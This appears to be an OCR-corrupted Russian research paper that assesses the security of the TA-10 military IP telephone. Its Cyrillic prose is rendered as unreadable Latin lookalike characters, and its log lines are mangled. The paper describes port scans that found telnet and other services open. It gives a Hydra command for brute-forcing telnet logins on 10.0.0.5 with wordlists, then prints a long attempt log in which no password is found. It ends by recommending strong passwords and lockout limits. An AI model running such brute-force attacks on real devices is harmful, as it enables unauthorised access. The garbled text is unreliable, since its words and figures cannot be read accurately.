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AHHOTauus. AKTyaJ'IbeIM BOMPOCOM pa3BUTUA VIHq)OKOMMyHVIKaLI,VIOHHbIX CUCcTemM un ycnyr B BOWCKax CBS3N BOOpy)KeHHbIX Cun PeCI'IyGJ'IVIKVI
Eenapbe ABNAETCA OueHKa HOBbIX CpeacTB CBA3M Ha npegMeT Hann4dma yH3BMMOCTel7I NHOPMaLMOHHOWM 6e3onacHocTn. 3HaHve
nMerLnxca yﬂ3BVIMOCTel7I NO3BOSINT oOnepaTMBHO OLeHMBaTb COCTOAHWME CUCTEMbl 3alluTbl Mquopmauwm, a TakKkke npuHMMaTb
HeobxoaumMble MepPbl N0 CHMXXEHUIO PUCKOB, CBA3aHHbIX C co3aaBaeMbIMU JaHHbIMU YA3SBUMOCTAMU YrpOo3aMun.

O6bekToM wuccregoBaHua  ObinvM BbIOpaHbl  CTOSILLME HA BOOPYKEHUM W OOMNYyLIEHHble K
ncnonb3oBaHuio B BoopyxeHHbix Cunax IP-tenedoHbl.

TA-10 — umdpoBor TenedOHHbIN annapaT, NpegHasHavYeHHbI ons obecneyvyeHns TenedoHHON CBA3MN
no IP-cetam n cetamM aBTOMaTU4ECKOW TenedOHHOW CBA3M B CTaAUMOHAPHbIX W MNOABWXHBLIX MYHKTaX
ynpasrneHusi BoopyxeHHbix Cun.

B kavecTBe MHCTPYMEHTOB MccnegoBaHns BoibpaHbl ckaHepbl ya3sumocTen: Nmap, XSpider 7.7.

B xoge ckaHupoBaHusa 6binin oBHapyXeHbl OTKpbITble NOPThl Ha ycTponcTee. OTKPbITbIe NOPThl MOTYT
HEeCTM OMacHOCTb, eCnM 3a HWUMW CTOUT Kakas-nubo cnyxba, KOTOPOM MOXET BOCMNOSb30BaThCA
3MI0YMbILLIEHHMK ONSA aTaku.

O6e nporpammbl nokadanu, 410 noptbl 23 M 111 OTKPbITHl, a pacWMPEHHOE CKaHUpoBaHWe
nporpammbl Nmap Takke nokasano, 4To oTKpbITbl nopTel 5038 1 5060.

MopT 23 nopt ucnonb3yetca ansa cnyx6bl TELNET. MopT 111 nopT ucnonb3yeTtcs Ansi CryxObl
SUNRPC (Sun Remote Procedure Call). lMopTtel 5038 u 5060 He wucnonb3ylTca Kaknmun-nmbo
pacnpocTpaHeHHbIMK cnyXbamu, YTo CTaBWUT OnpeferneHHbI BONpoc K paspaboTtynkam o Heob6XxoaumocTu
ux mcnonb3oBaHusa. OgHako, Takke 3aTPYAHSIOT 3MOYMBILWSIEHHUKY MPOLLECC NMOWCKa YA3BUMOCTEW U KX
nocriefyoLen aKkcnnyartaumm.

HangeHHble OTKpbITble MOPTbl MOXHO WUCMOMb30BaTb AN HECaHKLMOHWPOBAHHOrO JocTyna K
ycTponcTy. Hanpumep, yepes nopt 23, ncnonbaytowmiics ana cnyx6bol TELNET, 3noymbIwneHHVK MoxeT
NOAKITIOYMTCA K TepMUHany yCcTpOMCTBA, 3Has NOMWH 1 naponb. ECTb Heckonbko cnocoboB, KOTOPbIMU MOXET
BOCMOMNb30BaTbCS 3MOYMbILLNEHHUK, YTOObI Y3HaTb Naponb: 6pyTdopc, paclungpoBKka XeLlen, BpeaAoHOCHOe
Mno.

B pamkax wccnegoBaHWs OUEHEHbl BO3MOXHOCTM peanusaummn  6pyTtdopca. Mcnonb3osaHbl
crnegyoLwmne NHCTPYMEHTI: onepaunoHHas cuctema Kali Linux; nporpammHoe o6ecneyerne Hydra; cnosapu
4acTo UCMNOMNb3yeMbIX NOTMHOB U NapOnew.

[na peanusauumm ncnonb3oBaHa komaHga ns N0 Hydra

hydra -/ /media/root/KALI LIVE/esniom TA10/logins.txt” -P  /media/root/KALI  LIVE/83niom
TA10/passwords.txt’ 10.0.0.5 -t 5 telnet -V

Mocne BbINOMHEHMS KOMaHAbl OCYLLECTBIIANCSA MnocnefoBaTenbHbIN nepebop norMHoB u3 dpanna
logins.txt, naponen u3 danna passwords.txt 1 nonbiTka BXxoA4a MNoA MNOSlYYEHHOW Napor 3HayveHun. Xopn
BbINOMHEHNS NPOrpamMmmbl NpeacTaBeH Ha pUcyHkax 1 u 2.

Mo okoH4yaHWto paboTbl, MOKa3aH MNOMyYEHHbIA pe3ynbTaT: KONMMYecTBO uenen 6pyTtdgopca u
KONMMYeCTBO KOMOUHALMIN NOTMHOB M NApPONien, C KOTOPbLIMU MONYYNICS BXOS B CUCTEMY.

Kak BuMgHO 13 pesynbTatoB, 3awuta oT OpyTtdopca B faHHOM TenedOHHOM annapaTte He
peanusoBaHa no yMonyaHuto.

B xone uccnegoBaHus yCTaHOBMNEHO, YTO MOMUCK ya3BUMOCTeN ycTponcTts IP-TtenedoHun ¢ nomoLlbio
06LLEeAOCTYNHBIX NPOrpaMMHbIX CPEACTB AN CKaHMPOBaAHMSA CETEBbIX YA3BMMOCTEN Takmx kak Nmap u
XSpider 7.7 ocywlecTBUM U He NpeacTaBnsAeT CrOXHOCTEN HU ANS CneumannctoB Mo MHAOPMAaLMOHHOW
©e3onacHoCTH, HU ANS 3MOYMbILLNEHHUKOB.

C nomoulblo BbIOpaHHbLIX MHCTPYMEHTOB Obifio OOHapyxeHo, 4To ycTponcTtBo TA-10 ucnoneayet
npotokon TELNET, k KoTOpomy MOXeT OblTb OCYyLWeCTBNEH ydaneHHblin JocTyn. A Takke npoBepeHa
BO3MOXHOCTb peanu3aunv aTaku nogdopa AaHHbIX Ans Bxoda «opyTdopey.

Wcnonb3yemoro croBaps Obifi0  HeQoOCTaTOMHO, AOCTYN K YCTPOWCTBY He nonydveH. Yto
CBUOETENbCTBYET CKOpee O HU3KOM KayecTBe CrioBaps, YemM O HaAeXHOCTW Napons.
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ydra (htt //github.com/vanhauser-thc/the-hydra) starting at 2020-82-15 87:15:53
WARNING] i 2liable to analyze, if possible better choose FTP, SSH, etc. if available
ks per 1 server, overall 5 tasks, 1024 login tries (1:32/p:32), ~205 tries per task

DATA] attacking telnet://10.0.0.5
ATTEMPT] target 10. 5 - login "root" - pass "root" - 1 of 1024 [child 8] (6/8)
ATTEMPT] target .0.0.5 - login " - "admin" - 2 of 1024 [child 1] (0/0)
ATTEMPT] .0, n "root" administrator" - 3 of 1024 [child 2] (6/8)
ATTEMPT] target 10.0.0.5 - ‘root" - webadmin" - 4 of 1024 [child 3] (6/0)
ATTEMPT] target 10.0.0.° login "root” 3 "sysadmin® - 5 of 1824 [child 4] (6/0)
ATTEMPT] target 10.0.0.5 - login “root" - “netadmin" - 6 of 1024 [child @] (0/6)
ATTEMPT] 0.0.5 - login * i guest" - 7 of 1024 [child 3] (0/0)
ATTEMPT] targe .0.0. login ase § 8 of 1024 [child 1] (e/8)
ATTEMPT] target 10.6.0.5 - login "“r - "web" - 9 of 1024 [child 4] (©/0)
ATTEMPT] target .0.8.5 - login "root" - pass “"test" - 10 of 1024 [child 2] (e/0)
ATTEMPT] target 2 login " - pass "“adm" 11 of 1024 [child 8] (0/
ATTEMPT] target .0.5 - login "root" - pass “"tech" - 12 of 1024 [child 2] (6/0)
ATTEMPT] target .0.0.5 login ot" - pass "recovery 13 of 1024 [child 1] (©/0)
ATTEMPT] target 10.0.06.5 - login " - pass "operator" - 14 of 1024 [child 4] (0/0)
ATTEMPT] get 10.0.0.5 - login "root" - "client” - 15 of 1024 [child 3] (e/0)
ATTEMPT] target .0.0. login “root" ass "manager” 16 of 1024 [child 0] (0/0)
ATTEMPT] target 10.0.0.5 - login “root" - pass “customer" - 17 of 1024 [child 2] (0/6)
ATTEMPT] target 10.6.0.3 login “root" - pass “"device" - 18 of 1024 [child 3] (8/0
ATTEMPT] target 10.6.0.5 - login "root" - pass "isp" 19 of 1024 [child 4] (8/
ATTEMPT] target 10.0.0.5 - login "root" - pass "cisco” - 20 of 1024 [child 1] (6/0)

target 10,0.0. "root" - pass “super" - 21 of 1024 [child 0] (8/0)

target 10.0.0.5 - “root" - pass "anonymous" - 22 of 1024 [child 2] (e/0)

target 10.0.0,5 “root" - pass "login" - 23 of 1024 [child 4] (0/0)

target 10.0.0.5 - “root" pass “tiger" - 24 of 1024 [child 3] (6/0)

tarnet 10 e “rant - nace “nithlic® - 98 of 1024 [child 11 (A/R
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“device® - 978 of 1824 [child 1] (8/8)
pass "isp" 979 of 1024 [child 4] (e/0)
“cisco® - 980 of 1024 [child 2] (e/9)
uper™ 981 of 1824 [child 3] (e/@)
"anonymous® - 982 of 1024 [child 1] (e/0)
"login® - 983 of 1024 [child ©] (©/08)
“tiger 984 of 1024 [child 1] (e/0)
"public* - 985 of 1024 [child @] (e/0)
"system"” 986 of 1024 [child 4] (8/9)
987 of 1024 [child 2] (6/0)
- 988 of 1824 [child 3] (e/e)
989 of 1024 [child 1] (e/8)
- 990 of 1024 [child o] (e/0)
login "z "abuse® - 991 of 1024 [child 3] (8/@)
login * - ss "postmast - 992 of 1024 [child 4] (6/8)
> pass “root" - 993 of 1024 [child 2] (©/0)
in 60:13h, 31 to do in 60:01h, 5 active
“postmaster” - “"admin® - 994 of 1024 [child 3] (6/9)
login "postmaster - pass administrator” - 995 of 1824 [child o] (e/0)
login “postmaster “webadmi 996 of 1024 [child 1] (e/e)
login * ss "sysadm - 997 of 1624 [child 4] (e8/@)
1 postmaste tadmin* 998 of 1024 [child 2] (e/@)
postmaster™ - ss " " - 999 of 1024 [child 3] (e/0)
1000 of 1024 [child ©] (©/9)
S 1001 of 1024 [child 2] (8/0)
“postmaster - 5S - 1002 of 1024 [child 4] (e/0)
login "postmaster g . ] 1003 of 1024 [child 1] (e/®)
login “"postmaster” - = " - 1004 of 1024 [child 3] (/@)
login "postma - “recovery" - 1005 of 1024 [child 2] (8/0)
login “postmas pass “operator 1006 of 1024 [child 4] (e/0)
login “"postmaster™ - pass " ent” - 1007 of 1024 [child @] (e/0)
login "postmaster pass ger' 1008 of 1024 [child 1] (e/e@)
login * master™ - pass t - 1009 of 1024 [child ©] (e/0)
login “postmaster™ - pass » - 1010 of 10624 [child 3] (8/0)
login "postmaster™ pass - 1011 of 1024 [child 2] (e/®)
login “postma r* - pass * - 1012 of 1024 [child 4] (©/0)
login "postmaste - pass * - 1013 of 1024 [child 1] (e/0)
login “postmaster"” pass “anonymous" 1014 of 1024 [child 0] (e/0)
login "postmaster - pass "login® - 1015 of 1024 [child 3] (©/0)
login "postmaster™ pass "tiger™ 1016 of 1024 [child 2] (e/@)
login "postmaster® - pass “public" - 1017 of 1024 [child 4] (©/0)
login “"postmaster - pass "system”™ - 1018 of 1824 [child 1] (e/e)
login “postmaster pass “info" 1019 of 1024 [child ©] (©/0)
login “postmaster® - pass “sysadm® - 1020 of 1824 [child 3] (/@)
login “"postmaster=® pass tup™ 1021 of 1024 [child 2] (/@)
login "postmaster® - pass “"support" - 1022 of 1024 [child 4] (e/0)
[ATTEMPT] target login "postmaster - pass "abuse* - 1023 of 1024 [child 1] (e/®)
[ATTEMPT] targ .0. login “postma 2 pass “"postmaster™ 1624 of 1024 [child 8] (8/0)
1 of 1 target completed, © valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-02-15 ©7:29:19
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Bpytdopc - oauMH M3 cambix pacnpoCTpaHEHHbIX CNocOOOB MOMyYeHUs HEeCaHKLMOHUPOBAHHOMO
goctyna K cnabo sawumiieHHbiM cuctemam. CrnegoBaTtenbHO, YCTaHOBKa CMOXHbBIX Maponen n perynspHasi ux
3amMeHa sBMseTCcs OCHOBOMNOMNararoLwmmM cnocobom 3awmThbl OT B3IoMa.

Mcnonb3oBaHue ctaHAapTHOW KOHMrypaumm, MOXeT TakKe MPUBECTM K B3MOMY, Tak KakK OObIYHO
MCMOSb3yTCA pPacrnpOCTPaHEHHbIE Mapbl NOMMHOB U naponen (admin, root u T1.4.), KOTOpbIE B MEPBYHO
oyepelb 3MOYMbLILWMEHHMK NpoOBepsieT npu MnonbiTke B3noma. A Takke OTCYTCTBME B CTaHOApPTHbIX
yCTaHOBKax peanusauuu 3awuTbl OT atak Tuna «Obpytdopcy», Hanpumep, OorpaHUYeHne 4Yucna MnomnbITOK
BBOJA M BpeMeHHasi GriIoKnpoBKa.



